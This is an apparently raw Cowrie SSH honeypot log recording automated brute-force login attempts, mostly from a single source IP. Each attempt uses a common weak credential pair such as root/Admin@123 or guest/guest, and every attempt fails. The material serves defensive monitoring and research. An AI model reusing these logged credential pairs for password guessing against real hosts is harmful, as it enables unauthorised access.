{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:12.249905Z","src_ip":"176.65.139.103","session":"2938f1f7f140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:13.334781Z","src_ip":"176.65.139.103","session":"2938f1f7f140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51426,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c86c639ee6e","protocol":"ssh","message":"New connection: 176.65.139.103:51426 (10.17.0.5:22) [session: 2c86c639ee6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:18.968201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:18.972415Z","src_ip":"176.65.139.103","session":"2c86c639ee6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:19.058675Z","src_ip":"176.65.139.103","session":"2c86c639ee6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:19.303807Z","src_ip":"176.65.139.103","session":"2c86c639ee6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:20.400041Z","src_ip":"176.65.139.103","session":"2c86c639ee6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49998,"dst_ip":"10.17.0.5","dst_port":22,"session":"676e4c8c49f3","protocol":"ssh","message":"New connection: 176.65.139.103:49998 (10.17.0.5:22) [session: 676e4c8c49f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:25.203048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:25.208033Z","src_ip":"176.65.139.103","session":"676e4c8c49f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:25.293188Z","src_ip":"176.65.139.103","session":"676e4c8c49f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:25.556212Z","src_ip":"176.65.139.103","session":"676e4c8c49f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:26.643707Z","src_ip":"176.65.139.103","session":"676e4c8c49f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50010,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b0c638f3f28","protocol":"ssh","message":"New connection: 176.65.139.103:50010 (10.17.0.5:22) [session: 7b0c638f3f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:31.357646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:31.362993Z","src_ip":"176.65.139.103","session":"7b0c638f3f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:31.440875Z","src_ip":"176.65.139.103","session":"7b0c638f3f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:31.774614Z","src_ip":"176.65.139.103","session":"7b0c638f3f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:32.998577Z","src_ip":"176.65.139.103","session":"7b0c638f3f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53848,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c76229ee334","protocol":"ssh","message":"New connection: 176.65.139.103:53848 (10.17.0.5:22) [session: 2c76229ee334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:37.627998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:37.632619Z","src_ip":"176.65.139.103","session":"2c76229ee334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:37.714779Z","src_ip":"176.65.139.103","session":"2c76229ee334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:37.985512Z","src_ip":"176.65.139.103","session":"2c76229ee334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:39.165998Z","src_ip":"176.65.139.103","session":"2c76229ee334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59804,"dst_ip":"10.17.0.5","dst_port":22,"session":"420c316e70fa","protocol":"ssh","message":"New connection: 176.65.139.103:59804 (10.17.0.5:22) [session: 420c316e70fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:44.217255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:44.222540Z","src_ip":"176.65.139.103","session":"420c316e70fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:44.306952Z","src_ip":"176.65.139.103","session":"420c316e70fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:44.560557Z","src_ip":"176.65.139.103","session":"420c316e70fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:45.643592Z","src_ip":"176.65.139.103","session":"420c316e70fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59814,"dst_ip":"10.17.0.5","dst_port":22,"session":"01aa51f0379c","protocol":"ssh","message":"New connection: 176.65.139.103:59814 (10.17.0.5:22) [session: 01aa51f0379c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:50.542792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:50.547014Z","src_ip":"176.65.139.103","session":"01aa51f0379c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:50.630324Z","src_ip":"176.65.139.103","session":"01aa51f0379c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:50.887292Z","src_ip":"176.65.139.103","session":"01aa51f0379c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52350,"dst_ip":"159.203.135.109","dst_port":22,"session":"da8b39ce8cd1","protocol":"ssh","message":"New connection: 159.203.92.129:52350 (159.203.135.109:22) [session: da8b39ce8cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:51.702157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:51.709219Z","src_ip":"159.203.92.129","session":"da8b39ce8cd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:51.712786Z","src_ip":"159.203.92.129","session":"da8b39ce8cd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"654321","message":"login attempt [ansible/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:51.724516Z","src_ip":"159.203.92.129","session":"da8b39ce8cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:52.117828Z","src_ip":"176.65.139.103","session":"01aa51f0379c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:52.780191Z","src_ip":"159.203.92.129","session":"da8b39ce8cd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34726,"dst_ip":"10.17.0.5","dst_port":22,"session":"eef9f8774a46","protocol":"ssh","message":"New connection: 176.65.139.103:34726 (10.17.0.5:22) [session: eef9f8774a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:57.125401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:57.129920Z","src_ip":"176.65.139.103","session":"eef9f8774a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:57.211870Z","src_ip":"176.65.139.103","session":"eef9f8774a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:57.486198Z","src_ip":"176.65.139.103","session":"eef9f8774a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:58.634717Z","src_ip":"176.65.139.103","session":"eef9f8774a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56408,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f66352343c","protocol":"ssh","message":"New connection: 176.65.139.103:56408 (10.17.0.5:22) [session: 28f66352343c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:04.023180Z"}
